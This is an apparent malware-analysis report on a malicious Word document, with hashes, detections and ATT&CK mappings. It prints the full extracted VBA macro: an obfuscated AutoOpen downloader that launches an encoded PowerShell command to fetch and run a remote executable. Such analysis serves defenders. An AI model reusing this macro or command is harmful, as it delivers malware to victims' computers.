Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 802e2c1d07c2b4f6…

MALICIOUS

Office (OLE)

120.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 5085db63d826d4571b0d607e7aff0424 SHA-1: d9614312a3f0bda48391c5bc05dc8105ba45f94c SHA-256: 802e2c1d07c2b4f6b7ce3741092de383680e43c91600503ef7900005389f30b9
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute a command. This command uses cmd.exe to invoke PowerShell, which then decodes and executes a further payload. The reconstructed command string indicates a PowerShell download cradle. The presence of Shell() calls and cmd.exe references strongly suggests a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call VBA.Interaction.Shell(fEKutetibykyMeceJAKIqObuLYSdvIsYna, (10 / 10) - 1)
Dim MeXegeRyXAauGetATylATApUESnoHysiMixi(2)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE_7(1) = iaxIUSEfo & CStr("5978")
odIcOhEteheTyrinaTUtIToRIf = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A^L …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Const BIHOzAxEpasITeHiQuKuxohIvelEotM = 0
Sub AutoOpen()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12357 bytes
SHA-256: dda52cc35345b22e95262e73845f0aa7dbd54e601e21a73cc7f6b58cda215558
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const BIHOzAxEpasITeHiQuKuxohIvelEotM = 0
Sub AutoOpen()
On Error Resume Next
Dim ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE(2)
Dim ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE_7(2)
If InStr(7, "iaxIUSEfo", "ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE") Then
  ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE(0) = InStrRev("iaxIUSEfo", "ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE")
  IsError CVErr(5978)
End If
IsError CVErr(137)
If Len(Oct(5978)) > 7 Then
 ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE(1) = Hex(13 ^ 7)
End If
ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE_7(0) = Now
VarType IsNumeric(CInt("5978"))
ViQavofoQUauKyDiveRYVAiXopaCaMeJICacEXE_7(1) = iaxIUSEfo & CStr("5978")
odIcOhEteheTyrinaTUtIToRIf = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A^L^w^A^y^A^D^E^A^N^w^A^u^A^D^E^A^O^A^A^y^A^C^4^A^M^g^A^z^A^"

TYiUCuiexKuMyLOduBEwUfIkyZyiAKIsUgYG = "D^E^A^L^g^A^0^A^D^M^A^L^w^B^D^A^G^g^A^c^g^B^v^A^G^0^A^U^w^B^l^A^" + Chr(2 + (35 * 2)) + "^Q^A^d^Q^B^w^A^D^E^A^M^Q^A^w^A^D^I^A^N^Q^A^0^A^D^E^A^M^Q^A^x^A^D^E^A^M^w^A^1^A^D^Y^A^N^w^A^4^A^D^U^A^N^g^A^1^A^C^8^A^a^g^B^v^A^G^w^A^b^A^B^5^A^C^4^A^Z^Q^B^4^A^G^U^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^M^A^M^g^A^y^A^D^M^A^M^w^A^x^A^D^k^A^M^A^A^1^A^D^Q^A^M^g^A"

Dim byaaCEvUKUZEfuQIzoJvOqaTOZouvala(2)
Dim byaaCEvUKUZEfuQIzoJvOqaTOZouvala_5(2)
If InStr(5, "LigFOlaxaWeXafiqajeFAK", "byaaCEvUKUZEfuQIzoJvOqaTOZouvala") Then
  byaaCEvUKUZEfuQIzoJvOqaTOZouvala(0) = InStrRev("LigFOlaxaWeXafiqajeFAK", "byaaCEvUKUZEfuQIzoJvOqaTOZouvala")
  IsError CVErr(3093)
End If
IsError CVErr(105)
If Len(Oct(3093)) > 5 Then
 byaaCEvUKUZEfuQIzoJvOqaTOZouvala(1) = Hex(10 ^ 5)
End If
byaaCEvUKUZEfuQIzoJvOqaTOZouvala_5(0) = Now
VarType IsNumeric(CInt("3093"))
byaaCEvUKUZEfuQIzoJvOqaTOZouvala_5(1) = LigFOlaxaWeXafiqajeFAK & CStr("3093")

Dim xUHiKAGERYVaZYiOgDOGovABedEPpA(2)
Dim xUHiKAGERYVaZYiOgDOGovABedEPpA_1(2)
If InStr(1, "FAtiCEzEMOgED", "xUHiKAGERYVaZYiOgDOGovABedEPpA") Then
  xUHiKAGERYVaZYiOgDOGovABedEPpA(0) = InStrRev("FAtiCEzEMOgED", "xUHiKAGERYVaZYiOgDOGovABedEPpA")
  IsError CVErr(1281)
End If
IsError CVErr(111)
If Len(Oct(1281)) > 1 Then
 xUHiKAGERYVaZYiOgDOGovABedEPpA(1) = Hex(11 ^ 1)
End If
xUHiKAGERYVaZYiOgDOGovABedEPpA_1(0) = Now
VarType IsNumeric(CInt("1281"))
xUHiKAGERYVaZYiOgDOGovABedEPpA_1(1) = FAtiCEzEMOgED & CStr("1281")
Dim zicynUhykOqoXFOMOWutECizeGIpeTaT(2)
Dim zicynUhykOqoXFOMOWutECizeGIpeTaT_3(2)
If InStr(3, "zOjiVyFARoiEviPidis", "zicynUhykOqoXFOMOWutECizeGIpeTaT") Then
  zicynUhykOqoXFOMOWutECizeGIpeTaT(0) = InStrRev("zOjiVyFARoiEviPidis", "zicynUhykOqoXFOMOWutECizeGIpeTaT")
  IsError CVErr(7328)
End If
IsError CVErr(103)
If Len(Oct(7328)) > 3 Then
 zicynUhykOqoXFOMOWutECizeGIpeTaT(1) = Hex(10 ^ 3)
End If
zicynUhykOqoXFOMOWutECizeGIpeTaT_3(0) = Now
VarType IsNumeric(CInt("7328"))
zicynUhykOqoXFOMOWutECizeGIpeTaT_3(1) = zOjiVyFARoiEviPidis & CStr("7328")
CuRYReNIrABIBokyQUiYbaXInEpiruWiSacE = "^1^A^D^g^A^N^w^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^" + Chr(2 + (35 * 2)) + "^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^" + Chr(2 + (35 * 2)) + "^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^" + Chr(2 + (35 * 2)) + "^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^w^A^y^A^D^I^A^M^w^A^z^A^D^E^A^O^Q^A^w^A^D^U^A^N^A^A^y^A^D^U^A^O^A^A^3^A^D^E^A^L^g^B^l^A^" + Chr(2 + (35 * 2)) + "^g^A^Z^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^" + Chr(2 + (35 * 2)) + "^Q^A^"
Dim TyzkEKiHakGitbOHSivEViXofEiE(2)
Dim TyzkEKiHakGitbOHSivEViXofEiE_3(2)
If InStr(3, "QIRyVyHOLyztOCYtOA", "TyzkEKiHakGitbOHSivEViXofEiE") Then
  TyzkEKiHakGitbOHSivEViXofEiE(0) = InStrRev("QIRyVyHOLyztOCYtOA", "TyzkEKiHakGitbOHSivEViXofEiE")
  IsError CVErr(4484)
End If
IsError CVErr(103)
If Len(Oct(4484)) > 3 Then
 TyzkEKiHakGitbOHSivEViXofEiE(1) = Hex(10 ^ 3)
End If
TyzkEKiHakGitbOHSivEViXofEiE_3(0) = Now
VarType IsNumeric(CInt("4484"))
TyzkEKiHakGitbOHSivEViXofEiE_3(1) = QIRyVyHOLyztOCYtOA & CStr("4484")


Dim zoqijUwqOdIXinuPkmUHoIjAqEzary(2)
Dim zoqijUwqOdIXinuPkmUHoIjAqEzary_4(2)
If InStr(4, "HIXrUKYtULiPOlirE", "zoqijUwqOdIXinuPkmUHoIjAqEzary") Then
  zoqijUwqOdIXinuPkmUHoIjAqEzary(0) = InStrRev("HIXrUKYtULiPOlirE", "zoqijUwqOdIXinuPkmUHoIjAqEzary")
  IsError CVErr(8438)
End If
IsError CVErr(134)
If Len(Oct(8438)) > 4 Then
 zoqijUwqOdIXinuPkmUHoIjAqEzary(1) = Hex(13 ^ 4)
End If
zoqijUwqOdIXinuPkmUHoIjAqEzary_4(0) = Now
VarType IsNumeric(CInt("8438"))
zoqijUwqOdIXinuPkmUHoIjAqEzary_4(1) = HIXrUKYtULiPOlirE & CStr("8438")
jivExhyylUjaJEgIiUkHosysOTaRYNyie = "O^w^A^="
Dim MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY(2)
Dim MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY_10(2)
If InStr(10, "hAaEfOzYVAlU", "MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY") Then
  MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY(0) = InStrRev("hAaEfOzYVAlU", "MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY")
  IsError CVErr(8618)
End If
IsError CVErr(1010)
If Len(Oct(8618)) > 10 Then
 MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY(1) = Hex(10 ^ 10)
End If
MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY_10(0) = Now
VarType IsNumeric(CInt("8618"))
MyBAxORuFYFOpVInaTyRAfEkUlajiqaQY_10(1) = hAaEfOzYVAlU & CStr("8618")
Dim vogiKAFuKamQoJihalyvidYGIP(2)
Dim vogiKAFuKamQoJihalyvidYGIP_4(2)
If InStr(4, "gAsOaYJebope", "vogiKAFuKamQoJihalyvidYGIP") Then
  vogiKAFuKamQoJihalyvidYGIP(0) = InStrRev("gAsOaYJebope", "vogiKAFuKamQoJihalyvidYGIP")
  IsError CVErr(5445)
End If
IsError CVErr(104)
If Len(Oct(5445)) > 4 Then
 vogiKAFuKamQoJihalyvidYGIP(1) = Hex(10 ^ 4)
End If
vogiKAFuKamQoJihalyvidYGIP_4(0) = Now
VarType IsNumeric(CInt("5445"))
vogiKAFuKamQoJihalyvidYGIP_4(1) = gAsOaYJebope & CStr("5445")


Dim XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa(2)
Dim XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa_8(2)
If InStr(8, "bedEnenAexE", "XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa") Then
  XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa(0) = InStrRev("bedEnenAexE", "XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa")
  IsError CVErr(8893)
End If
IsError CVErr(138)
If Len(Oct(8893)) > 8 Then
 XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa(1) = Hex(13 ^ 8)
End If
XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa_8(0) = Now
VarType IsNumeric(CInt("8893"))
XeCAKUqytuGOmSIXmdiCiquxoRUbYXEHOZasa_8(1) = bedEnenAexE & CStr("8893")
Call RAMOayGyTebUBexirYFYVeTEZej(odIcOhEteheTyrinaTUtIToRIf & "", TYiUCuiexKuMyLOduBEwUfIkyZyiAKIsUgYG + CStr(""), CuRYReNIrABIBokyQUiYbaXInEpiruWiSacE, "yoq1duqp2710suq", jivExhyylUjaJEgIiUkHosysOTaRYNyie)

End Sub
Sub RAMOayGyTebUBexirYFYVeTEZej(odIcOhEteheTyrinaTUtIToRIf, TYiUCuiexKuMyLOduBEwUfIkyZyiAKIsUgYG, CuRYReNIrABIBokyQUiYbaXInEpiruWiSacE, zUTAzaqoLesjiWiXoWicEVokIehxokETo, jivExhyylUjaJEgIiUkHosysOTaRYNyie)
On Error Resume Next
Dim iAroGARLOKlYZubazYxovofDIHYMAz(2)
Dim iAroGARLOKlYZubazYxovofDIHYMAz_8(2)
If InStr(8, "pEjudoHteCABeL", "iAroGARLOKlYZubazYxovofDIHYMAz") Then
  iAroGARLOKlYZubazYxovofDIHYMAz(0) = InStrRev("pEjudoHteCABeL", "iAroGARLOKlYZubazYxovofDIHYMAz")
  IsError CVErr(6402)
End If
IsError CVErr(118)
If Len(Oct(6402)) > 8 Then
 iAroGARLOKlYZubazYxovofDIHYMAz(1) = Hex(11 ^ 8)
End If
iAroGARLOKlYZubazYxovofDIHYMAz_8(0) = Now
VarType IsNumeric(CInt("6402"))
iAroGARLOKlYZubazYxovofDIHYMAz_8(1) = pEjudoHteCABeL & CStr("6402")
Dim ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT(2)
Dim ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT_5(2)
If InStr(5, "MhEByhgIMUXAniG", "ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT") Then
  ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT(0) = InStrRev("MhEByhgIMUXAniG", "ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT")
  IsError CVErr(7297)
End If
IsError CVErr(135)
If Len(Oct(7297)) > 5 Then
 ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT(1) = Hex(13 ^ 5)
End If
ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT_5(0) = Now
VarType IsNumeric(CInt("7297"))
ZanAVICAEcAgYFOvEKEcynALfaiCEQYtUT_5(1) = MhEByhgIMUXAniG & CStr("7297")

Dim BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj(2)
Dim BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj_7(2)
If InStr(7, "PIabYqeGEl", "BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj") Then
  BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj(0) = InStrRev("PIabYqeGEl", "BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj")
  IsError CVErr(2889)
End If
IsError CVErr(137)
If Len(Oct(2889)) > 7 Then
 BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj(1) = Hex(13 ^ 7)
End If
BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj_7(0) = Now
VarType IsNumeric(CInt("2889"))
BOwFEpiwEqeqyFiQOlUgoaXuzOCAdODOheRacuj_7(1) = PIabYqeGEl & CStr("2889")
Dim bAZeBAjAgobuneWiLihElAqoVotuQIdya(2)
Dim bAZeBAjAgobuneWiLihElAqoVotuQIdya_5(2)
If InStr(5, "JeDJiiEPUvIrOhEWEGy", "bAZeBAjAgobuneWiLihElAqoVotuQIdya") Then
  bAZeBAjAgobuneWiLihElAqoVotuQIdya(0) = InStrRev("JeDJiiEPUvIrOhEWEGy", "bAZeBAjAgobuneWiLihElAqoVotuQIdya")
  IsError CVErr(8040)
End If
IsError CVErr(115)
If Len(Oct(8040)) > 5 Then
 bAZeBAjAgobuneWiLihElAqoVotuQIdya(1) = Hex(11 ^ 5)
End If
bAZeBAjAgobuneWiLihElAqoVotuQIdya_5(0) = Now
VarType IsNumeric(CInt("8040"))
bAZeBAjAgobuneWiLihElAqoVotuQIdya_5(1) = JeDJiiEPUvIrOhEWEGy & CStr("8040")

Dim LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON(2)
Dim LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON_4(2)
If InStr(4, "tieWOlusaWuJUGeBabU", "LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON") Then
  LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON(0) = InStrRev("tieWOlusaWuJUGeBabU", "LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON")
  IsError CVErr(3784)
End If
IsError CVErr(114)
If Len(Oct(3784)) > 4 Then
 LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON(1) = Hex(11 ^ 4)
End If
LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON_4(0) = Now
VarType IsNumeric(CInt("3784"))
LEiYLigaVYlEkymYQmiTIZolILYaZoOqEfAbON_4(1) = tieWOlusaWuJUGeBabU & CStr("3784")
Dim FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe(2)
Dim FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe_10(2)
If InStr(10, "ZIxGOzIviOwAhiiENyioW", "FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe") Then
  FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe(0) = InStrRev("ZIxGOzIviOwAhiiENyioW", "FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe")
  IsError CVErr(1883)
End If
IsError CVErr(1310)
If Len(Oct(1883)) > 10 Then
 FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe(1) = Hex(13 ^ 10)
End If
FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe_10(0) = Now
VarType IsNumeric(CInt("1883"))
FuGajyfJuGexyAwUvAkYcyLUiEauGICipUMysKe_10(1) = ZIxGOzIviOwAhiiENyioW & CStr("1883")
  fEKutetibykyMeceJAKIqObuLYSdvIsYna = Join(Array(odIcOhEteheTyrinaTUtIToRIf, TYiUCuiexKuMyLOduBEwUfIkyZyiAKIsUgYG, CuRYReNIrABIBokyQUiYbaXInEpiruWiSacE, jivExhyylUjaJEgIiUkHosysOTaRYNyie), "")
  
  Call VBA.Interaction.Shell(fEKutetibykyMeceJAKIqObuLYSdvIsYna, (10 / 10) - 1)
Dim MeXegeRyXAauGetATylATApUESnoHysiMixi(2)
Dim MeXegeRyXAauGetATylATApUESnoHysiMixi_2(2)
If InStr(2, "KiaUjOlofeJIVEmAsY", "MeXegeRyXAauGetATylATApUESnoHysiMixi") Then
  MeXegeRyXAauGetATylATApUESnoHysiMixi(0) = InStrRev("KiaUjOlofeJIVEmAsY", "MeXegeRyXAauGetATylATApUESnoHysiMixi")
  IsError CVErr(4296)
End If
IsError CVErr(122)
If Len(Oct(4296)) > 2 Then
 MeXegeRyXAauGetATylATApUESnoHysiMixi(1) = Hex(12 ^ 2)
End If
MeXegeRyXAauGetATylATApUESnoHysiMixi_2(0) = Now
VarType IsNumeric(CInt("4296"))
MeXegeRyXAauGetATylATApUESnoHysiMixi_2(1) = KiaUjOlofeJIVEmAsY & CStr("4296")

Dim nInUNaLilaHgEnuWIgarEtuBEba(2)
Dim nInUNaLilaHgEnuWIgarEtuBEba_1(2)
If InStr(1, "dUVweKaiILOWySaFNOz", "nInUNaLilaHgEnuWIgarEtuBEba") Then
  nInUNaLilaHgEnuWIgarEtuBEba(0) = InStrRev("dUVweKaiILOWySaFNOz", "nInUNaLilaHgEnuWIgarEtuBEba")
  IsError CVErr(1978)
End If
IsError CVErr(101)
If Len(Oct(1978)) > 1 Then
 nInUNaLilaHgEnuWIgarEtuBEba(1) = Hex(10 ^ 1)
End If
nInUNaLilaHgEnuWIgarEtuBEba_1(0) = Now
VarType IsNumeric(CInt("1978"))
nInUNaLilaHgEnuWIgarEtuBEba_1(1) = dUVweKaiILOWySaFNOz & CStr("1978")


End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.